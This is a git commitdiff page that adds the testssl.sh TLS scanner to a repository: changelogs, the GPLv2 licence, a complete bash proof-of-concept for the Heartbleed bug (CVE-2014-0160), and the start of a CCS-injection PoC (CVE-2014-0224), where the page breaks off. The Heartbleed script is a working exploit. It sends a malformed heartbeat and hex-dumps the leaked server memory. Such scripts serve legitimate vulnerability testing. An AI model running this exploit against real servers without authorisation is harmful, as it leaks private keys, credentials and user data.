]> gitweb.fluxo.info Git - ssl-wrapper.git/commitdiff
Adding testssl
authorSilvio Rhatto <rhatto@riseup.net>
Fri, 24 Oct 2014 22:44:10 +0000 (20:44 -0200)
committerSilvio Rhatto <rhatto@riseup.net>
Fri, 24 Oct 2014 22:44:10 +0000 (20:44 -0200)
CHANGELOG.testssl.sh.txt [new file with mode: 0644]
GPLv2.txt [new file with mode: 0644]
bash-heartbleed.changelog.txt [new file with mode: 0644]
bash-heartbleed.sh [new file with mode: 0644]
ccs-injection.sh [new file with mode: 0644]
mapping-rfc.txt [new file with mode: 0644]
testssl [new symlink]
testssl.sh [new file with mode: 0755]
testssl.sh.asc [new file with mode: 0644]

diff --git a/CHANGELOG.testssl.sh.txt b/CHANGELOG.testssl.sh.txt
new file mode 100644 (file)
index 0000000..c5cb89e
--- /dev/null
@@ -0,0 +1,339 @@
+
+2.0 includes:
+
+* major release, new features:
+  * SNI
+  * STARTTLS fully supported
+  * RC4 check
+  * (P)FS check
+  * SPDY check
+  * color codes make more sense now
+  * cipher hexcodes are shown
+  * tests ciphers per protocol 
+  * HSTS
+  * web and application server banner 
+  * server prefereences
+  * TLS server extensions
+  * server key size
+  * cipher suite mapping from openssl to RFC 
+  * heartbleed check
+  * CCS injection check
+
+---------------------
+Details:
+
+1.112
+- IPv6 display fix
+
+1.111
+- NEW: tested unter FreeBSD (works with exception of xxd in CCS)
+- getent now works under Linux and FreeBSD
+- sed -i in hsts sacrificed for compatibility
+- reomved query for IP for finishing banner, is now called once in parse_hn_port
+- GOST warning after banner
+- empty build date is not displayed anymore
+- long build date strings minimized
+- FIXED: IPv6 address are displayed again
+
+1.110
+- NEW: adding Russian GOST cipher support by providing a config file on the fly
+- adding the compile date of openssl in the banner
+
+1.109
+- minor IPv6 fixes
+
+1.108
+- NEW: Major rewrite of output functions. Now using printf instead of "echo -e" for BSD and MacOSX compatibility
+
+1.107
+- improved IP address stuff
+
+1.106
+- minor fixes
+
+1.105
+- NEW: working prototype for CCS injection
+
+1.104
+- NEW: everywhere *also* RFC style ciphers -- if the mapping file is found
+- unitary calls to display cipher suites
+
+1.103
+- NEW: telnet support for STARTTLS (works only with a patched openssl version)
+  --> not tested (lack of server)
+
+1.102
+- NEW: test for BREACH (experimental)
+
+1.101
+- BUGFIX: muted too verbose output of which on CentOS/RHEL
+- BUGFIX: muted too verbose output of netcat/nc on CentOS/RHEL+Debian
+
+1.100
+- further cleanup
+  - starttls now tests allciphers() instead of cipher_per_proto
+      (normal use case makes most sense here)
+  - ENV J_POSITIV --> SHOW_EACH_C
+- finding mapping-rfc.txt is now a bit smarter
+- preparations for ChaCha20-Poly1305 (would have provided binaries but
+  "openssl s_client -connect" with that ciphersuite fails currently with 
+  a handshake error though client and server hello succeeded!)
+
+1.99
+- BUGFIX: now really really everywhere testing the IP with supplied name
+- locking out openssl < 0.9.8f, new function called "old_fart" ;-)
+- FEATURE: displaying PTR record of IP
+- FEATURE: displaying further IPv4/IPv6 addresses 
+- bit of a cleanup
+
+1.98
+- http_header is in total only called once
+- better parsing of default protocol (FIXME shouldn't appear anymore)
+
+1.97
+- reduced sleep time for server hello and payload reply (heartbleed)
+
+1.96
+- NEW: (experimental) heartbleed support with bash sockets (shell only SSL handshake!)
+  see also https://testssl.sh/bash-heartbleed.sh
+
+1.95 (2.0rc3)
+- changed cmdline options for CRIME and renego vuln to uppercase
+- NEW: displays server key size now
+- NEW: displays TLS server extensions (might kill old openssl versions)
+- brown warning if HSTS < 180 days
+- brown warning if SSLv3 is offered as default protocol
+
+1.94
+- NEW: prototype of mapping to RFC cipher suite names, needed file mapping-rfc.txt in same dir
+  as of now only used for 'testssl.sh -V'
+- internal renaming: it was supposed to be "cipherlists" instead of "ciphersuites"
+- additional tests for cipherlists DES, 3DES, ADH
+
+1.93
+- BUGFIX: removed space in Server banner fixed (at the expense of showing just nothing if Server string is empty)
+
+1.92
+- BUGFIX: fixed error of faulty detected empty server string
+
+1.91
+- replaced most lcyan to brown (=not really bad but somehow)
+- empty server string better displayed
+- prefered CBC TLS 1.2 cipher is now brown (lucky13)
+
+1.90
+- fix for netweaver banner (server is lowercase)
+- no server banner is no disadvantage (color code)
+- 1 more blank proto check
+- server preference is better displayed
+
+1.89
+- reordered! : protocols + cipher come first
+- colorized prefered server preference (e.g. CBC+RC4 is light red now, TLSv1.2 green)
+- SSLv3 is now light cyan
+- NEW: -P|--preference now in help menu
+- light cyan is more appropriate than red for HSTS
+
+1.88
+- NEW: prototype for protocol and cipher preference
+- prototype for session ticket
+
+1.87
+- changed just the version string to rc1
+
+1.86
+ - NEW: App banner now production, except 2 liners
+ - DEBUG: 1 is now true as everywhere else
+ - CRIME+Renego prettier
+ - last optical polish for RC4, PFS
+
+1.85
+ - NEW: appbanner (also 2 lines like asp.net)
+ - OSSL_VER_MAJOR/MINOR/APPENDIX
+ - less bold because bold headlines as bold should be reserved for emphasize findings
+ - tabbed output also for protocols and cipher classes
+ - unify neat printing
+
+1.84
+ - NEW: deprecating openssl version <0.98
+ - displaying a warning >= 0.98 < 1.0
+ - NEW: neat print also for all ciphers (-E,-e)
+
+1.83
+- BUGFIX: results from unit test: logical error in PFS+RC4 fixed
+- headline of -V / PFS+RC4 ciphers unified
+
+1.82
+- NEW: output for -V now better (bits seperate, spacing improved)
+
+1.81
+- output for RC4+PFS now better (with headline, bits seperate, spacing improved)
+- both also sorted by encr. strength .. umm ..err bits!
+
+1.80
+- order of finding supplied binary extended (first one wins):
+  1. use supplied variable $OPENSSL
+  2. use "openssl" in same path as testssl.sh
+  3. use "openssl.`uname -m`" in same path as testssl.sh
+  4. use anything in system $PATH (return value of "which"
+
+1.79
+- STARTTLS options w/o trailing 's' now (easier)
+- commented code for CRIME SPDY
+- issue a warning for openssl < 0.9.7 ( that version won't work anyway probably)
+- NPN protos as a global var
+- pretty print with fixed columns: PFS, RC4, allciphers, cipher_per_proto
+
+1.78
+- -E, -e now sorted by encryption strength (note: it's only encr key length)
+- -V now pretty prints all local ciphers
+- -V <pattern> now pretty prints all local ciphers matching pattern (plain string, no regex)
+- bugfix: SSLv2 cipher hex codes has 3 bytes!
+
+1.77
+- removed legacy code (PROD_REL var)
+
+1.76
+- bash was gone!! desaster for Ubuntu, fixed
+- starttls+rc4 check: bottom line was wrong
+- starttls had too much output (certificate) at first a/v check
+
+1.75
+- location is now https://testssl.sh
+- be nice: banner, version, help also works for BSD folks (on dash)
+- bug in server banner fixed
+- sneaky referer and user agent possible
+
+1.74
+- Debian 7 fix
+- ident obsoleted
+
+1.72
+- removed obsolete GREP
+- SWURL/SWCONTACT
+- output for positive RC4 better
+
+1.71
+- workaround for buggy bash (RC4)
+- colors improved
+  - blue is now reserved for headline
+  - magenta for local probs
+  - in RC4 removal of SSL protocol provided by openssl
+
+1.70
+- DEBUG in http_headers now as expected
+- <?xml marker as HTML body understood
+
+1.69
+- HTTP 1.1 header
+- removed in each cipher the proto openssl is returning
++ NEW: cipher_per_proto
+
+1.68
+- header parser for openssl
+- HSTS
+- server banner string
+- vulnerabilities closer+condensed
+
+1.68
+- header parser for openssl
+- HSTS
+- server banner string
+- vulnerabilities closer+condensed
+
+1.67
+- signal green if no SSLv3
+- cipher hex code now in square brackets  
+
+
+[..]
+
+
+1.36
+* fixed issue while connecting to non-webservers
+
+1.35
+* fixed portability issue on Ubuntu
+
+1.34
+* ip(v4) address in output, helps to tell different systems apart later on
+* local hostname in output
+
+1.31 (Halloween Release)
+* bugfix: SSLv2 was kind of borken
+* now it works for sure but ssl protocol are kind of ugly
+
+1.30b (25.10.2012)
+* bugfix: TLS 1.1/1.2 may lead to false negatives
+* bugfix: CMDLINE -a/-e was misleading, now similar to help menu
+
+1.3 (10/13/2012)
+* can test now for cipher suites only
+* can test now for protocols suites only
+* tests for tls v1.1/v1.2 of local openssl supports it
+* commandline "all "is rename to "each-cipher"
+* banner when it's done
+
+1.21a (10/4/2012)
+* tests whether openssl has support for zlib compiled so that it avoids a false negative
+
+1.21 (10/4/2012)
+* CRIME support
+
+1.20b
+* bugfixed release
+
+1.20a
+* code cleanup
+* showciphers variable introduced: only show ciphers if this is set (it is by
+  default now and there's a comment
+* openssl version + path to it in the banner
+
+
+1.20
+* bugfix (ssl in ssl handshake failure is sometimes too much)
+* date in output
+* autodetection of CVS version removed
+
+1.19
+* bugfix
+
+1.18
+* Rearragement of arguments: URL comes now always last!
+* small code cleanups for readability
+* individual cipher test is now with bold headline, not blue
+* NOPARANOID flag tells whether medium grade ciphers are ok. NOW they are (=<1.17 was paranoid)
+
+1.17
+* SSL tests now for renegotiation vulnerabilty!
+* version detection of testssl.sh
+* program has a banner
+* fixed bug leading to a file named "1"
+* comment for 128Bit ciphers
+
+1.16
+* major code cleanups
+* cmd line options: port is now in first argument!!
+* help is more verbose
+* check whether on other server side is ssl server listening
+* https:// can be now supplied also on the command line
+* test all ciphers now
+* new cleanup routine
+* -a does not do standard test afterward, you need to run testssl a second
+  time w/o -a if you want this 
+
+1.12
+* tests also medium grade ciphers (which you should NOT use)
+* tests now also high grade ciphers which you SHOULD ONLY use
+* switch for more verbose output of cipher for those cryptographically interested .
+  in rows: SSL version, Key eXchange, Authentication, Encryption and Message Authentication Code
+* this is per default enabled (provide otherwise "" as VERB_CLIST)
+* as a courtesy I am providing 64+32 Linux binaries for testing 56 Bit ciphers
+
+1.11 
+* Hint for howto enable 56 Bit Ciphers 
+* possible to specify where openssl is (hardcoded, $ENV, last resort: auto)
+* warns if netcat is not there
+
+1.10 
+* somewhat first released version
diff --git a/GPLv2.txt b/GPLv2.txt
new file mode 100644 (file)
index 0000000..21b9363
--- /dev/null
+++ b/GPLv2.txt
@@ -0,0 +1,341 @@
+                   GNU GENERAL PUBLIC LICENSE
+                      Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+               51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                           Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+\f
+                   GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+\f
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+\f
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+\f
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                           NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                    END OF TERMS AND CONDITIONS
+
+
+           How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) 19yy  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) 19yy name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.
diff --git a/bash-heartbleed.changelog.txt b/bash-heartbleed.changelog.txt
new file mode 100644 (file)
index 0000000..898511d
--- /dev/null
@@ -0,0 +1,23 @@
+1.7, 2014-04-30 23:06:55 +0200;
+- legal disclaimer
+----------------------------
+1.6 2014-04-18 14:01:19 +0200; 
+- possible to supply URLs now
+- cleanup
+----------------------------
+1.5, 2014-04-18 11:01:51 +0200;  
+- broader ascii output
+- back at 64k
+----------------------------
+1.4, 2014-04-15 21:56:47 +0200;  
+- few comments for educational purposes added
+----------------------------
+1.3,
+- retrieves data
+----------------------------
+1.2, 2014-04-15 20:58:55 +0200;  
+- PoC complete
+----------------------------
+1.1, 2014-04-15 20:47:48 +0200;  
+- Initial version
+
diff --git a/bash-heartbleed.sh b/bash-heartbleed.sh
new file mode 100644 (file)
index 0000000..f7481ef
--- /dev/null
@@ -0,0 +1,145 @@
+#!/bin/bash 
+
+# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+NODE=""
+SLEEP=2
+COL_WIDTH=32
+
+[ -z "$1" ] && exit 1
+
+# TLS 1.0=x01  1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+TLSV=${2:-x01}
+
+heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
+##                                                   ^^^^^^^ this is the thing!
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16,               # Content type (x16 for handshake)
+x03, tls_version,         # TLS Version
+x00, xdc,         # Length
+# Handshake header
+x01,               # Type (x01 for ClientHello)
+x00, x00, xd8,   # Length
+x03, tls_version,         # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x53, x43, x5b, x90, x9d, x9b, x72, x0b,
+xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+x03, x90, x9f, x77, x04, x33, xd4, xde,
+x00,               # Session ID length
+x00, x66,         # Cipher suites length
+# Cipher suites (51 suites)
+xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+x00, x39, x00, x38, x00, x88, x00, x87,
+xc0, x0f, xc0, x05, x00, x35, x00, x84,
+xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+x00, x16, x00, x13, xc0, x0d, xc0, x03,
+x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+xc0, x1e, x00, x33, x00, x32, x00, x9a,
+x00, x99, x00, x45, x00, x44, xc0, x0e,
+xc0, x04, x00, x2f, x00, x96, x00, x41,
+xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+x00, x05, x00, x04, x00, x15, x00, x12,
+x00, x09, x00, x14, x00, x11, x00, x08,
+x00, x06, x00, x03, x00, xff,
+x01,               # Compression methods length
+x00,               # Compression method (x00 for NULL)
+x00, x49,         # Extensions length
+# Extension: ec_point_formats
+x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+x00, x0a, x00, x34, x00, x32, x00, x0e,
+x00, x0d, x00, x19, x00, x0b, x00, x0c,
+x00, x18, x00, x09, x00, x0a, x00, x16,
+x00, x17, x00, x08, x00, x06, x00, x07,
+x00, x14, x00, x15, x00, x04, x00, x05,
+x00, x12, x00, x13, x00, x01, x00, x02,
+x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+x00, x23, x00, x00,
+# Extension: Heartbeat
+x00, x0f, x00, x01, x01
+"
+msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
+
+
+parse_hn_port() {
+       PORT=443       # unless otherwise auto-determined, see below
+       NODE="$1"
+
+       # strip "https", supposed it was supplied additionally
+       echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+       # strip trailing urlpath
+       NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+       # determine port, supposed it was supplied additionally
+       echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
+       's/\:.*$//'`
+}
+
+socksend() {
+       data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+       echo "\"$data\""
+       echo -en "$data" >&5 &
+       sleep $SLEEP
+}
+
+sockread()
+{
+       reply=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+
+#### main
+
+parse_hn_port "$1"
+
+if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+       echo "`basename $0`: unable to connect to $NODE:$PORT"
+       exit 2
+fi
+# socket is now open with fd 5
+
+
+
+echo "##### sending client hello:"
+socksend "$msg" $TLSV
+
+sockread 10000 
+echo "##### server hello:"
+echo -e "$reply" | xxd | head -20
+echo "[...]"
+echo
+
+echo "##### sending payload with TLS version $TLSV:"
+socksend $heartbleed_payload $TLSV
+
+sockread 65534
+echo "###### heartbleed reply: "
+echo -e "$reply" | xxd -c$COL_WIDTH
+echo
+
+lines_returned=`echo -e "$reply" | xxd | wc -l`
+if [ $lines_returned -gt 1 ]; then
+       tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
+       ret=1
+else
+       tput bold; tput setaf 2; echo "ok"; tput sgr0
+       ret=0
+fi
+echo
+
+exit $ret
+
+#  vim:tw=100:ts=5:sw=5
+#  $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $ 
diff --git a/ccs-injection.sh b/ccs-injection.sh
new file mode 100644 (file)
index 0000000..0b7c58e
--- /dev/null
@@ -0,0 +1,186 @@
+#!/bin/bash 
+
+# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), see https://www.openssl.org/news/secadv_20140605.txt
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
+# thx Ramon de C Valle
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+NODE=""
+SLEEP=2
+DEBUG=${DEBUG:-0}
+
+[ -z "$1" ] && exit 1
+
+# TLS 1.0=x01  1.1=0x02, 1.2=0x3
+# the PoC contains per default only check for TLS1.0 as the is the least common denominator
+TLSV=${2:-x01}
+
+ccs_message="\x14\x03\tls_version\x00\x01\x01"
+##                                                   ^^^^^^^ this is the thing!
+
+client_hello="
+# TLS header ( 5 bytes)
+,x16,               # Content type (x16 for handshake)
+x03, tls_version,   # TLS Version
+x00, x93,           # Length
+# Handshake header
+x01,                # Type (x01 for ClientHello)
+x00, x00, x8f,      # Length
+x03, tls_version,   # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+x53, x9c, xb2, xcb, x4b, 
+x42, xf9, x2d, x0b, xe5, x9c, x21, xf5, xa3, x89, xca, x7a, xd9, xb4, xab, x3f,
+xd3, x22, x21, x5e, xc4, x65, x0d, x1e, xce, xed, xc2,
+x00,               # Session ID length
+x00, x68,          # Cipher suites length
+  xc0, x13,
+  xc0, x12,
+  xc0, x11,
+  xc0, x10,
+  xc0, x0f,
+  xc0, x0e,
+  xc0, x0d,
+  xc0, x0c,
+  xc0, x0b,
+  xc0, x0a,
+  xc0, x09,
+  xc0, x08,
